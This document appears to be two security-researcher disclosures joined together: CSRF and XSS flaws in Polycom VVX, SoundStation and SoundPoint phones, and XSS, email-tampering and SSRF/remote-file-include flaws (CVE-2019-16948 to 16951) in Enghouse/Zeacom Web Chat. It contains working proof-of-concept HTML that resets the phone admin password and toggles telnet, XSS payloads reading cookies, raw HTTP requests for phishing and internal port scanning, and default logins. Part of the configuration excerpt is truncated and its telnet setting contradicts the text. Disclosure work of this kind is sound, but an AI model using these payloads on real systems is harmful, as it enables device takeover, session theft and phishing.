Poly(com) VVX, Soundstation IP 5000, SoundPoint IP 335 Vulnerabilities

Phone Model VVX 311
Part Number 3111-48350-001 Rev:A
MAC Address X
IP Mode IPv4
IP Address X
UC Software Version 5.9.1.0615
Updater Version 5.9.7.12459

This gui seems to be similar or the same to the soundpoint, Most Post requests seem vulnerable to csrf.  I can just take out the cookie login/pass that is in each request and craft a csrf.  For example the following is a csrf example that changes the admin password and turns on telnet.  This works for the VVX model however the same csrf did not work for the soundstation and soundpoint.

<html>
  <!-- Polycom VVX 5.9.1.0615 CSRF - Changes Admin pass to 123456. Also turns telnet on, login Polycom/123456 -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/192.168.128.11\/form-submit\/Utilities\/configuration\/importFile", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------402251386101268401375671906");
        xhr.withCredentials = true;
        var body = "-----------------------------402251386101268401375671906\r\n" + 
          "Content-Disposition: form-data; name=\"myfile\"; filename=\"polycomtelnet.cfg\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\x3cdevice device.set=\"1\"\x3e\n" + 
          "\x3cauth device.auth.localAdminPassword.set=\"1\" device.auth.localAdminPassword=\"123456\"/\x3e\n" + 
          "\x3ctelnet diags.telnetd.enabled=\"0\"\x3e\x3c/telnet\x3e\n" + 
          "\r\n" + 
          "-----------------------------402251386101268401375671906--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>


This sends a file called polycomtelnet.cfg which basically looks like this.

<device device.set="1">
<auth device.auth.
<telnet diags.telnetd.enabled="0"></



Phone Model SoundStation IP 5000 & SoundPoint IP 335 (same firmware)
Part Number 3111-30900-001 Rev:H
MAC Address X
IP Address X
UC Software Version 4.0.14.1388
BootROM Software Version 5.0.14.0580

This is a Post Xss via csrf that both the newest firmware of soundstation and soundpoint are vulnerable to.  Given the simple Cookie: Authorization= having cookies exposed can make this easy to convert from base64.

<html>
  <!-- Post XSS via CSRF on Soundstation IP 5000 & SoundPoint IP 335 UC ver 4.0.14.1388  -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.128.17/form-submit" method="POST">
      <input type="hidden" name="250:1" value=""><Script>alert(document.cookie)</Script>" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


Most of these devices come with default logins: user/123 admin/456 . However if the company setting these up has changed them these csrf vulnerabilities could be useful.

Multiple vulnerabilities found in Enghouse/Zeacom web chat

Product: Web Chat versions 6.1.300.31, 6.2.284.34 and possibly others
Researcher: Matt Landers – mlanders@lucidcoast.com

Issue 1: Cross Site Scripting (XSS)

versions 6.1.300.31, 6.2.284.34 and possibly others

CVE-2019-16950


The “QueueName=” function shown in the Get request below allows for insertion of user supplied javascript. An example of the cross site scripting payload is shown below in a screenshot.

Proof of Concept:
 Copy and paste the following payload in to your web browser, edit the request to insert
 the name of the domain you would like to test.

 http://example.com:8088/webChat/Main.aspx?
 QueueName=CHAT48809%22%3balert(document.cookie)%2f%2f572

Issue 2: Email tampering
Version 6.1.300.31

CVE-2019-16949


A user of the web chat software is allowed to send an archive of their chat log to an email address specified at the beginning of the chat where the user enters in their name and email. This Post request can be modified to change the message as well as the end recipient of the message as seen below.

The email will have the same domain name and user as the web chat is allotted. This can be used in phishing campaigns against users on the same domain.

Proof of Concept:
 POST /WebChat/Chat.asmx/EmailTranscript HTTP/1.1
 Host: redacted.com:8088
 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101
 Firefox/67.0
 Accept: /
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://redacted.com:8088/webChat/Main.aspx?QueueName=CHAT
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 217
 Connection: close
 Cookie:
&ToEmail=victim@victim.com&Message=Click on this link for your refund!
 &WebServiceLocation=http://localhost:8088/WebService/

Issue 3: Server Side Request Forgery / Remote File Include

Version 6.1.300.31 is vulnerable to server side request forgery

CVE-2019-16948


In this instance, any post request we are able to replace the port number (8088) with a range of ports to determine what is visible on the internal network as opposed to what general web traffic would see on the web chat host.

The response from open ports is different than closed ports as shown in the following screen shot. The web chat software does not allow us to change protocol so anything besides http(s) will throw an error, however it is the type of error that we are seeing in the following screen shots that allows us to determine if a port is open or not.

 Proof of Concept:
 POST /WebChat/General.asmx/DeleteDataPushFilter?UserSessionID=
 &filterName=WebChatTracker HTTP/1.1
 Host: redacted.com:8088
 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101
 Firefox/67.0
 Accept: /
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://redacted.com:8088/webChat/Main.aspx?QueueName=CHAT
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 43
 Connection: close
 Cookie: 
 WebServiceLocation=http://localhost:8085/WebService/

Version 6.2.284.34 is vulnerable to remote file include

CVE-2019-16951

I have included this as part of Issue 3 as I believe they are related.
Specifically with this version of the web chat software we were able to replace the localhost attribute with our own domain name. When the web chat server calls our domain after the Post request is sent, it retrieves our data and displays it.


Also worth mentioning is the amount of information sent in the request from the web chat server, to ours, reveals information the public should not have. This includes path names and internal ip addresses. See the screen shot below for examples.